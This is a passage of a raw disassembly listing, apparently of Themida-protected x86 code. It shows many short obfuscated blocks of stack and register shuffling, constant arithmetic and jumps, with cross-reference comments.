loc_56AE20 ; --------------------------------------------------------------------------- loc_55F945: ; CODE XREF: Themida_:00565AA8j mov [esp], ecx mov cl, 2Fh add cl, 79h jmp loc_56F6F8 ; --------------------------------------------------------------------------- loc_55F952: ; CODE XREF: Themida_:00565BEBj push dword ptr [esp] pop ecx add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55F95E: ; CODE XREF: Themida_:00567E11j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_562D1A ; --------------------------------------------------------------------------- loc_55F972: ; CODE XREF: Themida_:00562832j xor edx, 97F88626h push 64EDh mov [esp], edi mov edi, edx mov ecx, edi pop edi mov edx, [esp] add esp, 4 sub ecx, 11E6A489h sub eax, ecx pop ecx push ebx jmp loc_56C893 ; --------------------------------------------------------------------------- loc_55F99A: ; CODE XREF: Themida_:0055FF7Ej add edx, 4 push 4578h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_56C62B ; --------------------------------------------------------------------------- loc_55F9B2: ; CODE XREF: Themida_:00568287j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_56050E ; --------------------------------------------------------------------------- loc_55F9C0: ; CODE XREF: Themida_:0056B9FAj push dword ptr [esp] pop edx push edx push esp pop edx add edx, 4 push edi push 4 mov edi, [esp] add esp, 4 add edx, 22E93CD9h add edx, edi sub edx, 22E93CD9h jmp loc_567CC2 ; --------------------------------------------------------------------------- loc_55F9EC: ; CODE XREF: Themida_:00568AE8j pop ebp jmp loc_56CE5E ; --------------------------------------------------------------------------- loc_55F9F2: ; CODE XREF: Themida_:0056185Cj push ebp mov ebp, 824BBF93h mov edx, ebp pop ebp mov ebp, edx jmp loc_57089C ; --------------------------------------------------------------------------- loc_55FA02: ; CODE XREF: Themida_:00561C54j dec esi jmp loc_55F720 ; --------------------------------------------------------------------------- loc_55FA08: ; CODE XREF: Themida_:00567E65j mov ebx, [esp] add esp, 4 add ebx, 4 sub esp, 4 mov [esp], eax push ebx push 1D051F91h pop ebx push ebp mov ebp, 0C692F69h and ebp, 1E6B2A33h xor ebp, 1B4456A9h push edi mov edi, 740B2354h or ebp, edi pop edi push ecx jmp loc_56FA2D ; --------------------------------------------------------------------------- loc_55FA42: ; CODE XREF: Themida_:00566C80j push dword ptr [edi+eax*4] push eax push 37C6h mov [esp], edi mov edi, 125E1FDBh sub esp, 4 mov [esp], esi mov esi, 113924ABh jmp loc_572803 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_569733 ; --------------------------------------------------------------------------- loc_55FA6C: ; CODE XREF: Themida_:00567534j sub esi, eax pop eax jmp loc_55E921 ; --------------------------------------------------------------------------- loc_55FA74: ; CODE XREF: Themida_:00567AC4j xor edx, [esp] pop esp mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ebp jmp loc_5721B8 ; --------------------------------------------------------------------------- loc_55FA8A: ; CODE XREF: Themida_:0056664Bj mov ebx, 1D74EE7h sub esi, 6EC56333h add esi, ebx add esi, 6EC56333h pop ebx push edx push ebx mov ebx, 4CB21933h jmp loc_570918 ; --------------------------------------------------------------------------- loc_55FAAA: ; CODE XREF: Themida_:0056EF3Aj shl edi, 2 add edi, 459014E0h or edi, 5683CD3h jmp loc_56A539 ; --------------------------------------------------------------------------- loc_55FABE: ; CODE XREF: Themida_:0056059Bj pop ebp sub esp, 4 jmp loc_5652BB ; --------------------------------------------------------------------------- loc_55FACA: ; CODE XREF: Themida_:0056B3C1j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55FACF: ; CODE XREF: Themida_:0056875Dj mov ebx, 1E296B0Dh or ebx, 1BD06C07h not ebx neg ebx shr ebx, 7 not ebx xor ebx, 0B561B5Fh add esi, ebx pop ebx sub ecx, esi pop esi push 5473h mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi mov edi, esp push ecx mov ecx, 4B332CFCh shr ecx, 7 add ecx, 0FF6999ABh add edi, ecx jmp loc_570BB5 ; --------------------------------------------------------------------------- loc_55FB1D: ; CODE XREF: Themida_:0056FF25j push 1D2B01C9h pop edx xor edx, 6A9667Dh sub esp, 4 mov [esp], esi mov esi, 0E683D22h sub edx, esi pop esi jmp loc_561E27 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55FB4E: ; CODE XREF: Themida_:00567D57j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_55D413 ; --------------------------------------------------------------------------- loc_55FB5A: ; CODE XREF: Themida_:0056A7FAj xchg eax, [esp] pop esp jmp loc_5711BA ; --------------------------------------------------------------------------- loc_55FB63: ; CODE XREF: Themida_:0056727Dj shl ebp, 8 shr ebp, 6 push eax mov eax, 50C348F2h push edi mov edi, 247C092Dh jmp loc_5609F7 ; --------------------------------------------------------------------------- loc_55FB7A: ; CODE XREF: Themida_:00561982j neg bl add bl, 4Dh xor bl, 42h and bl, 0A8h add bl, 0E6h sub ch, bl jmp loc_572400 ; --------------------------------------------------------------------------- loc_55FB8F: ; CODE XREF: Themida_:0055DD14j xchg esi, [esp] mov esp, [esp] xchg eax, [esp] pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55FB9E: ; CODE XREF: Themida_:005677B4j pop esi jmp loc_56B4AE ; --------------------------------------------------------------------------- loc_55FBA4: ; CODE XREF: Themida_:005644C8j mov ecx, 0FA7FEF70h add ebx, ecx pop ecx sub ecx, 68102EA1h add ecx, ebx push edi jmp loc_5613A8 ; --------------------------------------------------------------------------- loc_55FBBA: ; CODE XREF: Themida_:0056E1B3j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, 47893CCFh jmp loc_5638C3 ; --------------------------------------------------------------------------- loc_55FBD8: ; CODE XREF: Themida_:00562641j xor esi, ebp pop ebp shl esi, 4 or esi, 64185614h jmp loc_564679 ; --------------------------------------------------------------------------- loc_55FBE9: ; CODE XREF: Themida_:0056E4B8j mov ecx, 4763298Dh xor ecx, 679C4CD5h mov edi, ecx jmp loc_5680E2 ; --------------------------------------------------------------------------- loc_55FBFB: ; CODE XREF: Themida_:0056451Ej inc edi jmp loc_5662B6 ; --------------------------------------------------------------------------- loc_55FC01: ; CODE XREF: Themida_:00570F05j push eax jmp loc_56F85C ; --------------------------------------------------------------------------- loc_55FC07: ; CODE XREF: Themida_:00568259j pop edx sub esp, 4 mov [esp], ebp jmp loc_563694 ; --------------------------------------------------------------------------- loc_55FC13: ; CODE XREF: Themida_:0055F41Dj pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_56355A ; --------------------------------------------------------------------------- loc_55FC29: ; CODE XREF: Themida_:005666E4j mov ebp, 52665AE7h shl ebp, 1 sub ebp, 405E0636h neg ebp inc ebp sub ebp, 7A6711D6h jmp loc_562841 ; --------------------------------------------------------------------------- loc_55FC44: ; CODE XREF: Themida_:00571ACBj mov esp, [esp] mov [esp], eax mov eax, 0 push ebp mov ebp, 92346D6h neg ebp add ebp, 31266923h add ebp, 0F1DC48ADh add eax, ebp jmp loc_56FD27 ; --------------------------------------------------------------------------- loc_55FC6A: ; CODE XREF: Themida_:005682EDj mov ax, [esp] sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop eax push 24D6h mov [esp], ecx push ebp mov ebp, 7B9872F0h mov ecx, 7B9872F4h add ecx, 58504282h sub ecx, ebp sub ecx, 58504282h pop ebp add eax, ecx push dword ptr [esp] jmp loc_560975 ; --------------------------------------------------------------------------- loc_55FCB5: ; CODE XREF: Themida_:005675D5j mov [esp], ebx mov ebx, 363B02E2h mov eax, ebx pop ebx xor eax, 7CD54AABh jmp loc_5696A9 ; --------------------------------------------------------------------------- loc_55FCCA: ; CODE XREF: Themida_:0056B5D7j push 7027h mov [esp], esi mov esi, 4E0D3DCBh jmp loc_55D4B0 ; --------------------------------------------------------------------------- loc_55FCDC: ; CODE XREF: Themida_:005717DBj add esi, 36A2957h sub esi, 1F8A832Fh add edi, esi pop esi and edi, 1FDA1D80h add edi, 604DFD5Bh sub esi, 6C0B0F9Fh jmp loc_564D83 ; --------------------------------------------------------------------------- loc_55FD02: ; CODE XREF: Themida_:0056FC5Ej dec al jmp loc_56DAE8 ; --------------------------------------------------------------------------- loc_55FD09: ; CODE XREF: Themida_:0056FDFBj inc edi jmp loc_561F91 ; --------------------------------------------------------------------------- loc_55FD0F: ; CODE XREF: Themida_:0057139Dj xor edx, [esp] mov esp, [esp] xor ebx, eax pop small word ptr [eax] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55FD1F: ; CODE XREF: Themida_:0055EE3Cj sub esi, 46136B7Eh add esi, 5A594495h add eax, esi pop esi jmp loc_564735 ; --------------------------------------------------------------------------- loc_55FD33: ; CODE XREF: Themida_:0055F235j inc esi xchg esi, ecx shl ecx, 5 push 4C4Ah mov [esp], ebp mov ebp, 0CBDA57B0h add ecx, ebp jmp loc_5699A4 ; --------------------------------------------------------------------------- loc_55FD4D: ; CODE XREF: Themida_:0056BAF8j mov eax, 0FA24B82h add eax, 36A90B11h neg eax sub eax, 17A736E2h neg eax sub eax, 6DC85BD4h jmp loc_562740 ; --------------------------------------------------------------------------- loc_55FD6A: ; CODE XREF: Themida_:005643E7j pop cx jmp loc_5679B7 ; --------------------------------------------------------------------------- loc_55FD71: ; CODE XREF: Themida_:005713C5j or [edi+1Ch], ebx mov ebx, [esp] jmp loc_56A249 ; --------------------------------------------------------------------------- loc_55FD7C: ; CODE XREF: Themida_:0056F8C1j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 660Bh mov [esp], ecx mov cl, 37h not cl neg cl not cl add cl, 23h jmp loc_55DC1F ; --------------------------------------------------------------------------- loc_55FD9D: ; CODE XREF: Themida_:0056F24Cj sub ebp, esi jmp loc_56DF73 ; --------------------------------------------------------------------------- loc_55FDA4: ; CODE XREF: Themida_:0056F9B7j add esi, eax jmp loc_5698EA ; --------------------------------------------------------------------------- loc_55FDAB: ; CODE XREF: Themida_:0057086Ej pop eax jmp loc_56DB58 ; --------------------------------------------------------------------------- loc_55FDB1: ; CODE XREF: Themida_:00565773j pop ecx push edi mov edi, esp jmp loc_564B8C ; --------------------------------------------------------------------------- loc_55FDBA: ; CODE XREF: Themida_:0056FA8Ej mov eax, 3041777Fh and ebp, eax pop eax push esi mov esi, 431F59F9h jmp loc_5600B3 ; --------------------------------------------------------------------------- loc_55FDCD: ; CODE XREF: Themida_:00571234j pop esp push dword ptr [esp] pop ecx push 7AFEh mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx jmp loc_56F53D ; --------------------------------------------------------------------------- loc_55FDEF: ; CODE XREF: Themida_:0055D847j push 34B6h mov [esp], ecx jmp loc_569FC9 ; --------------------------------------------------------------------------- loc_55FDFC: ; CODE XREF: Themida_:005687F9j mov ebp, [esp] add esp, 4 add eax, esi sub eax, 59243870h jmp loc_564342 ; --------------------------------------------------------------------------- loc_55FE0E: ; CODE XREF: Themida_:0055DD5Bj sub ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ecx mov ecx, 575030D6h and ebp, ecx pop ecx add ebp, 28F16B1Ah push edx push ebx push eax mov eax, 4F5957F2h push edx mov edx, 0BCC2EFCBh mov ebx, edx pop edx add ebx, eax pop eax sub esp, 4 mov [esp], esi mov esi, 0FA375941h mov edx, esi pop esi jmp loc_5707D2 ; --------------------------------------------------------------------------- loc_55FE52: ; CODE XREF: Themida_:0056659Cj xor ecx, 360E365h sub edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] mov [esp], esi mov esi, 5DFA2FEFh or esi, 68725949h jmp loc_56BC8F ; --------------------------------------------------------------------------- loc_55FE74: ; CODE XREF: Themida_:005709ACj pop dword ptr [esp] mov esp, [esp] jmp loc_55DF3C ; --------------------------------------------------------------------------- loc_55FE7F: ; CODE XREF: Themida_:0056473Bj xchg eax, [esp] pop esp sub esp, 4 jmp loc_571E41 ; --------------------------------------------------------------------------- loc_55FE8E: ; CODE XREF: Themida_:0056644Ej xor edi, [esp] pop esp jmp loc_572B45 ; --------------------------------------------------------------------------- loc_55FE97: ; CODE XREF: Themida_:0056464Aj push esi mov esi, 67462205h and ebx, esi pop esi not ebx neg ebx add ebx, 1C061E18h shl ebx, 1 push edi mov edi, 59C08D25h add ebx, edi pop edi xor esi, ebx pop ebx add esi, 41E57015h mov ebp, esi pop esi shr ebp, 2 shr ebp, 5 or ebp, 74F95822h inc ebp sub ebp, 74FB7EA0h sub edx, 73A761Ah sub edx, 292E408Ah jmp loc_571C5B ; --------------------------------------------------------------------------- loc_55FEE5: ; CODE XREF: Themida_:00568D4Cj mov [esp], eax jmp loc_5604F9 ; --------------------------------------------------------------------------- loc_55FEED: ; CODE XREF: Themida_:00564EC1j pop edi sub eax, 47772822h jmp loc_55DE25 ; --------------------------------------------------------------------------- loc_55FEF8: ; CODE XREF: Themida_:0056D949j push 4482h mov [esp], eax mov eax, 746A6EB0h xor eax, 5A3E4A9Ch sub ebx, eax pop eax add ebx, 7B9950F1h add ebx, edx sub ebx, 7B9950F1h add ebx, 2E54242Ch pop edx push ebx push dword ptr [esp+4] pop ebx jmp loc_568B95 ; --------------------------------------------------------------------------- loc_55FF2D: ; CODE XREF: Themida_:005712DCj pop esi add edx, 307E6E10h add edx, eax jmp loc_5712E1 ; --------------------------------------------------------------------------- loc_55FF3B: ; CODE XREF: Themida_:00570AC0j xor ebx, 6C7F36B5h jmp loc_56A5B9 ; --------------------------------------------------------------------------- loc_55FF46: ; CODE XREF: Themida_:0056A396j add eax, ebx add eax, 1B430862h add [eax], ecx jmp loc_5650EE ; --------------------------------------------------------------------------- loc_55FF54: ; CODE XREF: Themida_:0055ED56j push eax jmp loc_566D0F ; --------------------------------------------------------------------------- loc_55FF5A: ; CODE XREF: Themida_:00570F98j sub ebx, 202F5C0Fh jmp loc_56725F ; --------------------------------------------------------------------------- loc_55FF65: ; CODE XREF: Themida_:00570793j pop ebx push edx mov edx, esp push ecx mov ecx, 4 sub edx, 366B3EF4h add edx, ecx add edx, 366B3EF4h pop ecx jmp loc_55F99A ; --------------------------------------------------------------------------- loc_55FF83: ; CODE XREF: Themida_:0056BC2Cj sub edi, eax pop eax not edi or edi, 33AD2C6Eh jmp loc_56C818 ; --------------------------------------------------------------------------- loc_55FF93: ; CODE XREF: Themida_:0056C060j add edi, eax sub edi, 2CF25A49h mov eax, [esp] add esp, 4 add edi, 0C1D7C74Dh add ebx, 409856ADh add ebx, 21CB0164h sub ebx, 66B1EE8h add ebx, edi jmp loc_55E2C6 ; --------------------------------------------------------------------------- loc_55FFC0: ; CODE XREF: Themida_:00569FF8j mov ecx, edi pop edi push ebx mov ebx, 1F9E7D8Bh push 2BD6h mov [esp], ecx mov ecx, 5952692h neg ecx jmp loc_570138 ; --------------------------------------------------------------------------- loc_55FFDD: ; CODE XREF: Themida_:0056241Ej mov edi, 0B0B029h xor ebx, edi pop edi add esi, ebx pop ebx push edi push eax push 2C30h jmp loc_56C2F6 ; --------------------------------------------------------------------------- loc_55FFF4: ; CODE XREF: Themida_:0055E520j add edi, 0D3DF5F12h jmp loc_57031E ; --------------------------------------------------------------------------- loc_55FFFF: ; CODE XREF: Themida_:00564B81j pop eax xor eax, 4C5006A1h add eax, 1 add eax, 0FFFFFFFFh not eax sub esp, 4 jmp loc_572161 ; --------------------------------------------------------------------------- loc_56001C: ; CODE XREF: Themida_:00564623j sub esp, 4 mov [esp], ecx push 202Ch mov [esp], ebp mov ebp, 673F7D55h push eax mov eax, 206315Dh jmp loc_57049E ; --------------------------------------------------------------------------- loc_56003A: ; CODE XREF: Themida_:0056B8C7j pop ecx add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5601EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56004D: ; CODE XREF: sub_562A0A+E597j mov ch, 8Ah inc ch shl ch, 1 add ch, 61h jmp loc_56BE98 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_56005B: ; CODE XREF: Themida_:00570602j sub edx, 4 jmp loc_56ACA1 ; --------------------------------------------------------------------------- loc_560066: ; CODE XREF: Themida_:00564380j xor ebp, 12712F5Bh sub esi, ebp pop ebp add esi, eax add esi, 12CF5AE4h pop eax add esi, 6D5E609Dh push esi sub dword ptr [esp], 50EC50ACh jmp loc_569426 ; --------------------------------------------------------------------------- loc_56008B: ; CODE XREF: Themida_:0056813Fj not ecx jmp loc_568415 ; --------------------------------------------------------------------------- loc_560092: ; CODE XREF: Themida_:005648DCj xor ebp, edx mov edx, [esp] add esp, 4 add edx, ebp pop ebp add edx, 2 push 6C59h mov [esp], edx jmp loc_56F431 ; --------------------------------------------------------------------------- loc_5600B3: ; CODE XREF: Themida_:0055FDC8j or ebp, esi mov esi, [esp] add esp, 4 push eax mov eax, 2AAB4D39h inc eax jmp loc_562369 ; --------------------------------------------------------------------------- loc_5600C7: ; CODE XREF: Themida_:00564820j mov ebp, [esp] jmp loc_56D629 ; --------------------------------------------------------------------------- loc_5600CF: ; CODE XREF: Themida_:0055E0E4j push ebx jmp loc_57244F ; --------------------------------------------------------------------------- loc_5600D5: ; CODE XREF: Themida_:005620D9j sub al, 48h jmp loc_56C55D ; --------------------------------------------------------------------------- loc_5600DC: ; CODE XREF: Themida_:00561CC1j sub ebp, 61926375h add ebp, eax jmp loc_55F0E7 ; --------------------------------------------------------------------------- loc_5600E9: ; CODE XREF: Themida_:005606A2j push ecx mov ecx, 0B5912E4h sub ecx, 6FD867C1h jmp loc_56794B ; --------------------------------------------------------------------------- loc_5600FA: ; CODE XREF: Themida_:0056A0D6j shr edi, 4 jmp loc_560A8E ; --------------------------------------------------------------------------- loc_560102: ; CODE XREF: Themida_:00571271j sub eax, edi pop edi mov ebx, [esp] add esp, 4 push 1E50h mov [esp], esi mov esi, 11C02CC2h sub eax, 47722C24h sub eax, 7381A14h push 522Dh mov [esp], edi mov edi, 5C435BE5h jmp loc_5728EF ; --------------------------------------------------------------------------- loc_560137: ; CODE XREF: Themida_:00572B38j mov dl, 1Fh jmp loc_5676A8 ; --------------------------------------------------------------------------- loc_56013E: ; CODE XREF: Themida_:0056FD02j push eax push 39D752C3h pop eax mov edi, eax push dword ptr [esp] pop eax add esp, 4 push eax mov eax, 2D6D6AE9h xor eax, 729A304Fh xor eax, 18795422h sub eax, 2E6AEFEAh add edi, eax pop eax dec edi jmp loc_56F251 ; --------------------------------------------------------------------------- loc_56016C: ; CODE XREF: Themida_:00569A1Fj add esp, 4 add edx, edi sub esp, 4 mov [esp], ebp jmp loc_5670C8 ; --------------------------------------------------------------------------- loc_56017F: ; CODE XREF: Themida_:0055E96Dj push dword ptr [esp] jmp loc_56B728 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56018F: ; CODE XREF: Themida_:00563922j push eax mov eax, 6E086131h sub ebp, eax pop eax xor ebp, 34DD0703h push ecx mov ecx, 7C035B08h xor ecx, 78F70E75h add ecx, 1250587Dh shr ecx, 1 or ecx, 66176BDFh jmp loc_56C405 ; --------------------------------------------------------------------------- loc_5601BD: ; CODE XREF: Themida_:0056DC6Cj add esp, 4 sub eax, 0D577E81Fh add ecx, 4DD22679h sub ecx, eax sub ecx, 4DD22679h mov eax, [esp] add esp, 4 mov ebp, [esp] jmp loc_571B4A ; --------------------------------------------------------------------------- loc_5601E4: ; CODE XREF: Themida_:00567F15j push 6A4Ah jmp loc_57163F ; --------------------------------------------------------------------------- loc_5601EE: ; CODE XREF: Themida_:00560048j or ecx, ecx jz loc_56C637 push ebp push esp pop ebp push edx mov edx, 3A2A3283h shl edx, 7 sub edx, 8453C37h jmp loc_561077 ; --------------------------------------------------------------------------- loc_56020D: ; CODE XREF: Themida_:005712BBj push ebp jmp loc_5698DD ; --------------------------------------------------------------------------- loc_560213: ; CODE XREF: Themida_:00562D4Dj mov eax, 116C4BE6h and eax, 3F777C47h neg eax jmp loc_5656D7 ; --------------------------------------------------------------------------- loc_560224: ; CODE XREF: Themida_:0055D35Fj pop esp push ebx mov ebx, esp push esi push 1ACh mov [esp], edx mov edx, 77753B66h and edx, 3EF94D47h jmp loc_5653B6 ; --------------------------------------------------------------------------- loc_560241: ; CODE XREF: Themida_:0056C30Cj neg ebp jmp loc_55E85A ; --------------------------------------------------------------------------- loc_560248: ; CODE XREF: Themida_:0056AE1Bj and ebx, 1D6F3568h sub ebx, 1 jmp loc_5717C0 ; --------------------------------------------------------------------------- loc_560256: ; CODE XREF: Themida_:0056620Fj add ebx, 4 jmp loc_56789D ; --------------------------------------------------------------------------- loc_560261: ; CODE XREF: Themida_:00569B8Dj mov esi, 2 jmp loc_56BA26 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] push esi push esp jmp loc_56E01C ; --------------------------------------------------------------------------- loc_560278: ; CODE XREF: Themida_:0056DED5j mov esp, [esp] jmp loc_562737 ; --------------------------------------------------------------------------- loc_560280: ; CODE XREF: Themida_:0056B892j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_560285: ; CODE XREF: Themida_:005688E5j push ebx mov ebx, 4 add eax, ebx pop ebx push esi jmp loc_55E6C2 ; --------------------------------------------------------------------------- loc_560294: ; CODE XREF: Themida_:005702C5j pop esi xor esi, 90029ACh mov ecx, esi pop esi jmp loc_55DEB6 ; --------------------------------------------------------------------------- loc_5602A3: ; CODE XREF: Themida_:00572575j mov [esp], esi mov esi, 2DD04D0Ch add dword ptr [esp+4], 7445603Dh sub [esp+4], esi sub dword ptr [esp+4], 7445603Dh jmp loc_56E863 ; --------------------------------------------------------------------------- loc_5602C4: ; CODE XREF: Themida_:00571A3Aj pop esp jmp loc_5667FA ; --------------------------------------------------------------------------- loc_5602CA: ; CODE XREF: Themida_:005642D4j push 6C094F01h pop esi sub ebx, esi pop esi add ebx, eax jmp loc_56B194 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_5602DA: ; CODE XREF: sub_562A0A-18C1j mov ebp, esp jmp loc_5703C1 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_5602E1: ; CODE XREF: Themida_:0056CA24j push dword ptr [esp] pop eax add esp, 4 xor eax, 30621BB8h jmp loc_56907E ; --------------------------------------------------------------------------- loc_5602F2: ; CODE XREF: Themida_:0056A069j sub eax, esi pop esi push ecx mov ecx, 132950E0h sub eax, ecx pop ecx sub eax, 3C220F9Dh sub eax, ebp jmp loc_56D293 ; --------------------------------------------------------------------------- loc_56030A: ; CODE XREF: Themida_:0056DAB6j push 6E88h mov [esp], ebx jmp loc_566E52 ; --------------------------------------------------------------------------- loc_560317: ; CODE XREF: Themida_:0056344Bj mov ch, [esp] jmp loc_56BC31 ; --------------------------------------------------------------------------- loc_56031F: ; CODE XREF: Themida_:005633E9j add edx, ebx jmp loc_562585 ; --------------------------------------------------------------------------- loc_560326: ; CODE XREF: Themida_:0056848Fj neg edx add edx, 4F87049Dh dec edx sub edx, 576E4905h mov esi, edx pop edx add ebx, esi jmp loc_5606EE ; --------------------------------------------------------------------------- loc_56033F: ; CODE XREF: Themida_:00564A5Cj mov ebp, esp add ebp, 4 jmp loc_564CBA ; --------------------------------------------------------------------------- loc_56034C: ; CODE XREF: Themida_:0056C8E6j xchg ecx, [esp] mov esp, [esp] mov [esp], edi mov edi, 4 push eax jmp loc_56AAE2 ; --------------------------------------------------------------------------- loc_560360: ; CODE XREF: Themida_:00568382j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_56598C ; --------------------------------------------------------------------------- loc_560375: ; CODE XREF: Themida_:0055E828j pop eax jmp loc_563781 ; --------------------------------------------------------------------------- loc_56037B: ; CODE XREF: Themida_:00561642j push dword ptr [esp] jmp loc_56DDF6 ; --------------------------------------------------------------------------- loc_560383: ; CODE XREF: Themida_:00560934j pop esp push ebx jmp loc_562A19 ; --------------------------------------------------------------------------- loc_56038A: ; CODE XREF: Themida_:0056861Bj push edi mov edi, esp push ecx mov ecx, 4 jmp loc_56C82D ; --------------------------------------------------------------------------- loc_560398: ; CODE XREF: Themida_:0056798Bj mov esi, [esp] add esp, 4 push 49D5h mov [esp], edx jmp loc_564007 ; --------------------------------------------------------------------------- loc_5603AB: ; CODE XREF: Themida_:005612A0j add esp, 2 jmp loc_56BD3B ; --------------------------------------------------------------------------- loc_5603B3: ; CODE XREF: Themida_:0055DB0Bj push ebx mov bl, 5Dh jmp loc_56C457 ; --------------------------------------------------------------------------- loc_5603BB: ; CODE XREF: Themida_:00565AE0j xor ebp, esi pop esi jmp loc_56E8B9 ; --------------------------------------------------------------------------- loc_5603C3: ; CODE XREF: Themida_:00561A60j mov ecx, 60C772E0h jmp loc_561696 ; --------------------------------------------------------------------------- loc_5603CD: ; CODE XREF: Themida_:00563930j mov esp, [esp] jmp loc_55D962 ; --------------------------------------------------------------------------- loc_5603D5: ; CODE XREF: Themida_:00564551j pop ebx jmp loc_56EE9B ; --------------------------------------------------------------------------- loc_5603DB: ; CODE XREF: Themida_:0056046Fj mov edx, esp sub esp, 4 mov [esp], esi mov esi, 33A84C5Fh or esi, 32443A04h dec esi jmp loc_55DAEC ; --------------------------------------------------------------------------- loc_5603F7: ; CODE XREF: Themida_:005690D4j xor edi, 0F25079F1h jmp loc_568374 ; --------------------------------------------------------------------------- loc_560402: ; CODE XREF: Themida_:0055F378j add eax, ecx add eax, 74131809h jmp loc_566243 ; --------------------------------------------------------------------------- loc_56040E: ; CODE XREF: Themida_:005656D2j sub esi, edx pop edx add esi, ebp push ecx mov ecx, 14B8388Eh add esi, ecx pop ecx mov ebp, [esp] jmp loc_560E63 ; --------------------------------------------------------------------------- loc_560424: ; CODE XREF: Themida_:0056B387j dec edi sub edi, 0BF7F19D0h xor edx, edi pop edi or edx, 59AA282Dh push eax mov eax, 79BB2939h xor edx, eax pop eax add ecx, 383516D2h add ecx, edx sub ecx, 383516D2h pop edx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_56159E ; --------------------------------------------------------------------------- loc_56045E: ; CODE XREF: Themida_:0055DCBBj pop dword ptr [esp] mov esp, [esp] imul cx push 29A9h mov [esp], edx jmp loc_5603DB ; --------------------------------------------------------------------------- loc_560474: ; CODE XREF: Themida_:0056D353j push eax jmp loc_56AC32 ; --------------------------------------------------------------------------- loc_56047A: ; CODE XREF: Themida_:00560D9Bj add ebp, esi jmp loc_565560 ; --------------------------------------------------------------------------- loc_560481: ; CODE XREF: Themida_:00566666j mov [esp], ebx mov ebx, esp push ebp push 59181C97h jmp loc_56C6B0 ; --------------------------------------------------------------------------- loc_560491: ; CODE XREF: Themida_:005629D2j pop ecx push 1457h mov [esp], ecx mov ch, 18h jmp loc_564DE5 ; --------------------------------------------------------------------------- loc_5604A1: ; CODE XREF: Themida_:0055DEB1j pop ebp xor ecx, 5732531Ch add ecx, 0A15AB2A5h add eax, 1E3B58A9h add eax, ecx sub eax, 1E3B58A9h jmp loc_55E6F6 ; --------------------------------------------------------------------------- loc_5604BF: ; CODE XREF: Themida_:0056F708j add esp, 4 or eax, eax jz loc_56B7BB push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_572394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_5604E1: ; CODE XREF: sub_59DB3D-3141Aj mov eax, [esp+2Ch+var_2C] jmp loc_56BFE1 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_5604E9: ; CODE XREF: Themida_:0056E57Bj push eax mov eax, 1AA052A6h or eax, 42244205h jmp loc_571095 ; --------------------------------------------------------------------------- loc_5604F9: ; CODE XREF: Themida_:0055FEE8j mov eax, 61255EFDh xor ebp, eax push dword ptr [esp] pop eax push 44E1h jmp loc_56D70D ; --------------------------------------------------------------------------- loc_56050E: ; CODE XREF: Themida_:0055F9BBj push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_5676D1 ; --------------------------------------------------------------------------- loc_560522: ; CODE XREF: Themida_:0056BAF1j add ecx, eax push edi jmp loc_56542F ; --------------------------------------------------------------------------- loc_56052A: ; CODE XREF: Themida_:00570F23j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55D6CC ; --------------------------------------------------------------------------- loc_56054C: ; CODE XREF: Themida_:0056E0B5j xor ecx, 9416AECBh add edx, ecx pop ecx sub edx, 4 xor edx, [esp] jmp loc_56F40A ; --------------------------------------------------------------------------- loc_560563: ; CODE XREF: Themida_:0055D583j push ebp mov ebp, 3E65026Dh dec ebp jmp loc_56A2F4 ; --------------------------------------------------------------------------- loc_56056F: ; CODE XREF: Themida_:00562BA7j pop ecx sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5620DE ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push 470Eh mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55FABE ; --------------------------------------------------------------------------- loc_5605A0: ; CODE XREF: Themida_:00569B41j shr eax, 0Bh xor ecx, eax push 4B20h mov [esp], ebx jmp loc_56275F ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_567333 ; --------------------------------------------------------------------------- loc_5605BB: ; CODE XREF: Themida_:0056A2CFj push dword ptr [esp+4] mov edi, [esp] push eax 